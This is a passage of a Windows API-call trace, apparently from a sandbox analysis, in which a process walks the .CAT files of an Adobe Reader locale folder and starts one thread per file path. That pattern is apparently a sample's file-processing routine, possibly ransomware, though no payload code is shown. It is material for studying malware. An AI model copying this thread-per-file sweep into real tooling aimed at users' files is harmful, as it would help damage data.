dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0240.603] wcscmp (_String1="Acroform.CAT", _String2=".") returned 1 [0240.603] wcscmp (_String1="Acroform.CAT", _String2="..") returned 1 [0240.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43184d60 [0240.604] wcscpy (in: _Dest=0x43184d60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.604] wcscat (in: _Dest=0x43184d60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.604] wcscat (in: _Dest=0x43184d60, _Source="Acroform.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" [0240.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2320 [0240.624] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="ADOBEC~1.CAT")) returned 1 [0240.624] wcscmp (_String1="AdobeCollabSync.CAT", _String2=".") returned 1 [0240.624] wcscmp (_String1="AdobeCollabSync.CAT", _String2="..") returned 1 [0240.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adef0 [0240.625] wcscpy (in: _Dest=0x202adef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.625] wcscat (in: _Dest=0x202adef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.625] wcscat (in: _Dest=0x202adef0, _Source="AdobeCollabSync.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" [0240.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0240.651] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0240.651] wcscmp (_String1="Annots.CAT", _String2=".") returned 1 [0240.651] wcscmp (_String1="Annots.CAT", _String2="..") returned 1 [0240.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43185300 [0240.652] wcscpy (in: _Dest=0x43185300, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.652] wcscat (in: _Dest=0x43185300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.652] wcscat (in: _Dest=0x43185300, _Source="Annots.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" [0240.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43185300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e28 [0240.749] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="BRDLAN~1.CAT")) returned 1 [0240.749] wcscmp (_String1="BRdlang32.CAT", _String2=".") returned 1 [0240.749] wcscmp (_String1="BRdlang32.CAT", _String2="..") returned 1 [0240.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ade80 [0240.750] wcscpy (in: _Dest=0x1b7ade80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.750] wcscat (in: _Dest=0x1b7ade80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.750] wcscat (in: _Dest=0x1b7ade80, _Source="BRdlang32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" [0240.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ade80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc0 [0240.774] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0240.774] wcscmp (_String1="Checkers.CAT", _String2=".") returned 1 [0240.774] wcscmp (_String1="Checkers.CAT", _String2="..") returned 1 [0240.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae2e0 [0240.775] wcscpy (in: _Dest=0x1b7ae2e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.775] wcscat (in: _Dest=0x1b7ae2e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.775] wcscat (in: _Dest=0x1b7ae2e0, _Source="Checkers.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" [0240.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e28 [0240.783] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0240.783] wcscmp (_String1="DigSig.CAT", _String2=".") returned 1 [0240.783] wcscmp (_String1="DigSig.CAT", _String2="..") returned 1 [0240.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ae380 [0240.784] wcscpy (in: _Dest=0x1b7ae380, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.784] wcscat (in: _Dest=0x1b7ae380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.784] wcscat (in: _Dest=0x1b7ae380, _Source="DigSig.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" [0240.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ffc [0240.786] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0240.786] wcscmp (_String1="DVA.CAT", _String2=".") returned 1 [0240.786] wcscmp (_String1="DVA.CAT", _String2="..") returned 1 [0240.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad7a0 [0240.787] wcscpy (in: _Dest=0x1b7ad7a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.787] wcscat (in: _Dest=0x1b7ad7a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.787] wcscat (in: _Dest=0x1b7ad7a0, _Source="DVA.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" [0240.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0240.789] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0240.789] wcscmp (_String1="eBook.CAT", _String2=".") returned 1 [0240.789] wcscmp (_String1="eBook.CAT", _String2="..") returned 1 [0240.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adde0 [0240.790] wcscpy (in: _Dest=0x1b7adde0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.790] wcscat (in: _Dest=0x1b7adde0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.790] wcscat (in: _Dest=0x1b7adde0, _Source="eBook.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" [0240.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0240.794] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0240.794] wcscmp (_String1="EScript.CAT", _String2=".") returned 1 [0240.794] wcscmp (_String1="EScript.CAT", _String2="..") returned 1 [0240.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7adb60 [0240.794] wcscpy (in: _Dest=0x1b7adb60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.794] wcscat (in: _Dest=0x1b7adb60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.795] wcscat (in: _Dest=0x1b7adb60, _Source="EScript.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" [0240.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8 [0240.796] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0240.796] wcscmp (_String1="IA32.CAT", _String2=".") returned 1 [0240.796] wcscmp (_String1="IA32.CAT", _String2="..") returned 1 [0240.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae240 [0240.797] wcscpy (in: _Dest=0x1b7ae240, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.797] wcscat (in: _Dest=0x1b7ae240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.797] wcscat (in: _Dest=0x1b7ae240, _Source="IA32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" [0240.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af0 [0240.798] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="MAKEAC~1.CAT")) returned 1 [0240.798] wcscmp (_String1="makeaccessible.CAT", _String2=".") returned 1 [0240.799] wcscmp (_String1="makeaccessible.CAT", _String2="..") returned 1 [0240.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ace70 [0240.799] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.799] wcscat (in: _Dest=0x202ace70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.799] wcscat (in: _Dest=0x202ace70, _Source="makeaccessible.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" [0240.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ace70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798 [0240.800] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="MULTIM~1.CAT")) returned 1 [0240.800] wcscmp (_String1="Multimedia.CAT", _String2=".") returned 1 [0240.800] wcscmp (_String1="Multimedia.CAT", _String2="..") returned 1 [0240.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad020 [0240.801] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.801] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.801] wcscat (in: _Dest=0x1b7ad020, _Source="Multimedia.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" [0240.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31dc [0240.802] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0240.802] wcscmp (_String1="pddom.CAT", _String2=".") returned 1 [0240.802] wcscmp (_String1="pddom.CAT", _String2="..") returned 1 [0240.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad980 [0240.802] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.802] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.802] wcscat (in: _Dest=0x1b7ad980, _Source="pddom.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" [0240.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e1c [0240.803] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0240.803] wcscmp (_String1="PPKLite.CAT", _String2=".") returned 1 [0240.803] wcscmp (_String1="PPKLite.CAT", _String2="..") returned 1 [0240.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad160 [0240.804] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.804] wcscat (in: _Dest=0x1b7ad160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.804] wcscat (in: _Dest=0x1b7ad160, _Source="PPKLite.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" [0240.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c [0240.805] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0240.805] wcscmp (_String1="RdLang32.CAT", _String2=".") returned 1 [0240.805] wcscmp (_String1="RdLang32.CAT", _String2="..") returned 1 [0240.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7adac0 